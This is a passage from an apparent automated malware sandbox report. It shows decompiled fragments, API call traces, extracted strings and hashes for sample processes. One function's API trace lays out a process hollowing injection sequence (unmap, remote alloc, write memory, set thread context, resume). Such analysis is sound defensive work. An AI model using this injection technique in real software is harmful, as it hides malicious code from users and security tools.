				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

0x0040196d
0x0040196d
0x0040196d
0x00401970
0x00401971
0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 00000001.00000002.717503121.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000001.00000002.717503121.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000001.00000002.717503121.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: rffhjft PID: 6604 Parent PID: 968 rffhjftCOMMON

Execution Graph

Execution Coverage:	22.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	29
Total number of Limit Nodes:	7

Executed Functions

Function 00470110, Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 00470156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0047016C
CreateProcessA.KERNELBASE(?,00000000), ref: 00470255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00470270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00470283
GetThreadContext.KERNELBASE(00000000,?), ref: 0047029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 004702C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 004702E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 00470304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0047032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 00470399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 004703BF
SetThreadContext.KERNELBASE(00000000,?), ref: 004703E1
ResumeThread.KERNELBASE(00000000), ref: 004703ED
ExitProcess.KERNEL32(00000000), ref: 00470412

Memory Dump Source

Source File: 0000000A.00000002.753494873.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_470000_rffhjft.jbxd

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 327b68b747bcce81ce2721edc656e5618c5e85ef91fec44d07fdfa901a017d22
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: CAB1B674A00208EFDB44CF98C895F9EBBB5BF88314F248158E909AB391D775AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00470630, Relevance: 58.4, APIs: 1, Strings: 32, Instructions: 671
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(user32), ref: 004706E2

Strings

GetMessageA, xrefs: 004712F7, 004712FA
GetStartupInfoA, xrefs: 0047145B, 00471461
GetFileAttributesA, xrefs: 004713D7, 004713DA
CreateFileA, xrefs: 0047088B, 00470891
GetModuleFileNameA, xrefs: 00470EFB, 00470EFE
CreateWindowExA, xrefs: 0047123E, 00471244
VirtualAlloc, xrefs: 00470AC1, 00470AC7
kernel32, xrefs: 004707ED, 004707F3
GetThreadContext, xrefs: 00470A4C, 00470A52
VirtualFree, xrefs: 00470BB2, 00470BB8
ntdll.dll, xrefs: 00470FE2, 00470FE8
CloseHandle, xrefs: 00470938, 0047093E
ReadProcessMemory, xrefs: 00470C4A, 00470C50
WinExec, xrefs: 00470820, 00470823
ResumeThread, xrefs: 00470DEF, 00470DF5
CreateProcessA, xrefs: 004709BB, 004709C1
ExitProcess, xrefs: 00471554, 0047155A
WriteProcessMemory, xrefs: 00470CE9, 00470CEF
user32, xrefs: 004706DB, 004706E1
VirtualAllocEx, xrefs: 00470B44, 00470B4A
VirtualProtectEx, xrefs: 004714E9, 004714EF
PostMessageA, xrefs: 004712B0, 004712B6
NtUnmapViewOfSection, xrefs: 00471085, 0047108B
GetMessageExtraInfo, xrefs: 00470794, 0047079A
MessageBoxA, xrefs: 004706EE, 004706F4
DefWindowProcA, xrefs: 00471374, 0047137A
SetThreadContext, xrefs: 00470D7A, 00470D80
GetCommandLineA, xrefs: 00470F82, 00470F88
WriteFile, xrefs: 004708CD, 004708D0
WaitForSingleObject, xrefs: 00470E95, 00470E9B
NtWriteVirtualMemory, xrefs: 0047112C, 00471132
RegisterClassExA, xrefs: 004711B7, 004711BD

Memory Dump Source

Source File: 0000000A.00000002.753494873.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_470000_rffhjft.jbxd

Similarity

API ID: LibraryLoad
String ID: CloseHandle$CreateFileA$CreateProcessA$CreateWindowExA$DefWindowProcA$ExitProcess$GetCommandLineA$GetFileAttributesA$GetMessageA$GetMessageExtraInfo$GetModuleFileNameA$GetStartupInfoA$GetThreadContext$MessageBoxA$NtUnmapViewOfSection$NtWriteVirtualMemory$PostMessageA$ReadProcessMemory$RegisterClassExA$ResumeThread$SetThreadContext$VirtualAlloc$VirtualAllocEx$VirtualFree$VirtualProtectEx$WaitForSingleObject$WinExec$WriteFile$WriteProcessMemory$kernel32$ntdll.dll$user32
API String ID: 1029625771-3105132389
Opcode ID: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction ID: 1d125f160aad8cff30ded41980034b211d75af619bf61a69869c4d2c495f3a26
Opcode Fuzzy Hash: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction Fuzzy Hash: 1AA24460D0C6E8C9EB21C668CC4C7DDBEB51B26749F0841D9858C66292C7BB1B98CF76

Uniqueness

Uniqueness Score: -1.00%

Function 00470420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 00470533

Strings

saodkfnosa9uin, xrefs: 004704DA
0, xrefs: 00470492
d, xrefs: 00470584
mfoaskdfnoa, xrefs: 00470520, 00470523

Memory Dump Source

Source File: 0000000A.00000002.753494873.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_470000_rffhjft.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 6b9bf4bba3cd38c2b76c8d7d003fe971f9e5c904b193b1ec59ecc66983fe763f
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: D6512C70D09388DEEB11CBD8C849BDDBFB26F11708F144059D5487F286C3BA5559CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 004705B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 004705EC

Strings

apfHQ, xrefs: 004705E2, 004705E5
o, xrefs: 00470600

Memory Dump Source

Source File: 0000000A.00000002.753494873.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_470000_rffhjft.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 1a48eaa12907d9f432b91500fcd16c59b06a01f311182c54781154e7ec08c333
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 69011E70C0524CEADB10DB98C5583EEBFB5AF41308F148099C4092B342D77A9B59CBA6

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: rffhjft PID: 3976 Parent PID: 6604 rffhjftCOMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 0000000B.00000002.775181467.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_rffhjft.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 0000000B.00000002.775181467.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_rffhjft.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 0000000B.00000002.775181467.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_rffhjft.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 8633.exe PID: 7156 Parent PID: 3424 8633.exeCOMMON

Execution Graph

Execution Coverage:	2.6%
Dynamic/Decrypted Code Coverage:	21.5%
Signature Coverage:	0%
Total number of Nodes:	79
Total number of Limit Nodes:	5

Executed Functions

Function 0041CB7B, Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 412
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vswprintf_c_l.LIBCMTD ref: 0041CBA1

Part of subcall function 00421260: __vswprintf_helper.LIBCMTD ref: 00421281

_puts.LIBCMTD ref: 0041CBA7

Part of subcall function 004231F0: __invalid_parameter.LIBCMTD ref: 0042327D

__wrename.LIBCMTD ref: 0041CBAE

Part of subcall function 004231A0: __dosmaperr.LIBCMTD ref: 004231D4

Part of subcall function 0041EE71: __EH_prolog.LIBCMT ref: 0041EE76

Part of subcall function 00422BF0: _doexit.LIBCMTD ref: 00422BFD

Strings

\H, xrefs: 0041CE6C
E6B, xrefs: 0041CFA7, 0041D086, 0041CFAB, 0041D08A

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: H_prolog__dosmaperr__invalid_parameter__vswprintf_c_l__vswprintf_helper__wrename_doexit_puts
String ID: E6B$\H
API String ID: 1318488268-840798999
Opcode ID: 06f537d1d45ab80b7a9019ecb8eaff30d1d6772636f9effbf4ecb464780c79a9
Instruction ID: 3af5b127253545b488e8dcfed504778f69243de408ec4bc808c5fca7c689a554
Opcode Fuzzy Hash: 06f537d1d45ab80b7a9019ecb8eaff30d1d6772636f9effbf4ecb464780c79a9
Instruction Fuzzy Hash: B6D15332442665BFD325ABA1ED4DEDF3E6CEF4A351B004436F24AA1470C7384685CBAE

Uniqueness

Uniqueness Score: -1.00%

Function 004027CA, Relevance: .4, Instructions: 439
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000D.00000002.813480749.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_8633.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59ac989ca3708892bfd26f4acbf633906e2528be2d17ed7f41992104238ec0bb
Instruction ID: 0338b83136466491310ec3fcb80edeb4c240d654d82b0732370eb0c756bdbeb0
Opcode Fuzzy Hash: 59ac989ca3708892bfd26f4acbf633906e2528be2d17ed7f41992104238ec0bb
Instruction Fuzzy Hash: D4C1B93210E141DFEB00AE24EEC98DAFB65FF1633477001ABD8426B1D2C67B5542DB66

Uniqueness

Uniqueness Score: -1.00%

Function 0041ACF0, Relevance: 62.0, APIs: 1, Strings: 34, Instructions: 794
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00000040,00000000), ref: 0041C921

Strings

PV, xrefs: 0041BCC0
R$#, xrefs: 0041B459
p0SP, xrefs: 0041B1EE
JfG, xrefs: 0041AE88
qcc-, xrefs: 0041B46C
Ig, xrefs: 0041BF68
FW,(, xrefs: 0041B986
T, xrefs: 0041C0AD
SKCo, xrefs: 0041B019
w/a, xrefs: 0041B37B
IkL, xrefs: 0041B0DC
[qFq, xrefs: 0041B149
H/P, xrefs: 0041C252
CWv, xrefs: 0041B923
/><, xrefs: 0041B3E9
|~, xrefs: 0041BC94
9o, xrefs: 0041B9F4
F[x`, xrefs: 0041B222
*9ix, xrefs: 0041B735
(::L, xrefs: 0041B0F2
N%z", xrefs: 0041B316
y]n6, xrefs: 0041BDCC
lh;_, xrefs: 0041B8F7
>e] , xrefs: 0041BEBB
1s<R, xrefs: 0041B6C5
g$0, xrefs: 0041BAAC
k/^, xrefs: 0041BDC1
*E[o, xrefs: 0041B113
kOon, xrefs: 0041B00E
[(, xrefs: 0041C097
Sst1, xrefs: 0041B180
Dx8|, xrefs: 0041B902
VirtualProtect, xrefs: 0041B7DE, 0041B7E3, 0041C8C4
=:6U, xrefs: 0041B30E

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: ProtectVirtual
String ID: w/a$g$0$PV$(::L$*9ix$*E[o$/><$1s<R$=:6U$>e] $Dx8|$FW,($F[x`$IkL$Ig$JfG$N%z"$R$#$SKCo$Sst1$T$VirtualProtect$[qFq$[($k/^$kOon$lh;_$p0SP$qcc-$y]n6$9o$CWv$H/P$|~
API String ID: 544645111-66855312
Opcode ID: b9be011763a2fb58e0054c15f96da36981cdf675d4122b25e1296a6946073bd5
Instruction ID: 28f019a1d04dc0b5418d6a354c80174508fe4464ce0478ada0238074877ed3ba
Opcode Fuzzy Hash: b9be011763a2fb58e0054c15f96da36981cdf675d4122b25e1296a6946073bd5
Instruction Fuzzy Hash: 88C2CAB450D3C08BD2B58F1A858978FFBE4BB95708F508A0CE6D95B611CB718A85CF4B

Uniqueness

Uniqueness Score: -1.00%

Function 004234E0, Relevance: 16.6, APIs: 11, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0042355C
__heap_init.LIBCMTD ref: 00423566

Part of subcall function 00433C00: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0042356B,00000001), ref: 00433C16

_fast_error_exit.LIBCMTD ref: 00423574

Part of subcall function 004236C0: ___crtExitProcess.LIBCMTD ref: 004236E4

__mtinit.LIBCMTD ref: 0042357C
_fast_error_exit.LIBCMTD ref: 00423587
__RTC_Initialize.LIBCMTD ref: 00423599
___crtGetEnvironmentStringsW.LIBCMTD ref: 004235C2
___wsetargv.LIBCMTD ref: 004235CC
__wsetenvp.LIBCMTD ref: 004235DF
__cinit.LIBCMTD ref: 004235F4
__wwincmdln.LIBCMTD ref: 00423611

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 2562088257-0
Opcode ID: 20a56575ae93d3650bf24b493235238bf6e89564cb2478d959f991eca20672fd
Instruction ID: c4296a4faba0d5eda460293f8b2d8abf8d285cedf06a52d5e7387ddaa75a0859
Opcode Fuzzy Hash: 20a56575ae93d3650bf24b493235238bf6e89564cb2478d959f991eca20672fd
Instruction Fuzzy Hash: E441C8B1E00318BAD710EFB2FD0679E76B4AB04719F50012EF40997282E77D96008B5A

Uniqueness

Uniqueness Score: -1.00%

Function 00423555, Relevance: 16.6, APIs: 11, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0042355C
__heap_init.LIBCMTD ref: 00423566

Part of subcall function 00433C00: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0042356B,00000001), ref: 00433C16

_fast_error_exit.LIBCMTD ref: 00423574

Part of subcall function 004236C0: ___crtExitProcess.LIBCMTD ref: 004236E4

__mtinit.LIBCMTD ref: 0042357C
_fast_error_exit.LIBCMTD ref: 00423587
__RTC_Initialize.LIBCMTD ref: 00423599
___crtGetEnvironmentStringsW.LIBCMTD ref: 004235C2
___wsetargv.LIBCMTD ref: 004235CC
__wsetenvp.LIBCMTD ref: 004235DF
__cinit.LIBCMTD ref: 004235F4
__wwincmdln.LIBCMTD ref: 00423611

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 2562088257-0
Opcode ID: 13423e202e7a58267f3f55f80a8a9818587dc056c0c7ab9dbd78dc0a56904b56
Instruction ID: 58ea7016c38aa4e594a13d1bd1c6543b97cc611fb78cecc77422fae1e89442be
Opcode Fuzzy Hash: 13423e202e7a58267f3f55f80a8a9818587dc056c0c7ab9dbd78dc0a56904b56
Instruction Fuzzy Hash: 463144B1F003247AEB10AFB2B90775E7674AB1431DF50052EE90957283F6BD96418B5A

Uniqueness

Uniqueness Score: -1.00%

Function 0054003C, Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0054024D

Strings

kernel32.dll, xrefs: 0054008F, 00540095
cess, xrefs: 0054018D

Memory Dump Source

Source File: 0000000D.00000002.813601766.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_540000_8633.jbxd

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: a4351ff8816cb361511761c9d6ed7a88eec2b58d946cd41f2843bb69fd5514d7
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: 15526974A01229DFDB64CF58C985BA8BBB1BF09304F1480D9E94DAB291DB30AE85DF15

Uniqueness

Uniqueness Score: -1.00%

Function 00424DB7, Relevance: 7.8, APIs: 5, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__CrtCheckMemory.LIBCMTD ref: 00424DDA
__heap_alloc_base.LIBCMTD ref: 00424F61
_memset.LIBCMT ref: 004250A9
_memset.LIBCMT ref: 004250C6
_memset.LIBCMT ref: 004250E1

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: _memset$CheckMemory__heap_alloc_base
String ID:
API String ID: 4254127243-0
Opcode ID: 0b23ad2e7bfe5d860bb4f2db0e704635e5cc85a032fe317be9af9f6b6d2a167d
